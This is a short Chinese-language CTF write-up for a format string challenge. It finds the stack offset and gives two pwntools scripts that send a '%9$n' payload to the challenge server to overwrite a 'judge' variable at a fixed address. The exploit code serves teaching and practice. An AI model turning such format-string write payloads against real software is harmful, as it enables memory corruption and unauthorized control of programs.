这道题是个相对简单的格式化字符串的题目, 但是做题过程中需要自己的一些debug调试查看;
计算偏移量
初看偏移量是8;
构建初始payload,EXP;payload="aa%8$n"+p64(judge)
from pwn import*
context.log_level='debug'
p=remote('node3.buuoj.cn',27636)
judge=0x60105c
payload="aa%8$n"+p64(judge)
p.sendline(payload)
p.interactive()
由于64位传参,可能存在被/x00截断的情况,
所以偏移这里是9
改payload="aa%9$nAAA"+p64(judge)
from pwn import*
context.log_level='debug'
p=remote('node3.buuoj.cn',27636)
judge=0x60105c
payload="aa%9$nAAA"+p64(judge)
p.sendline(payload)
p.interactive()
AAA用来补站位;
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置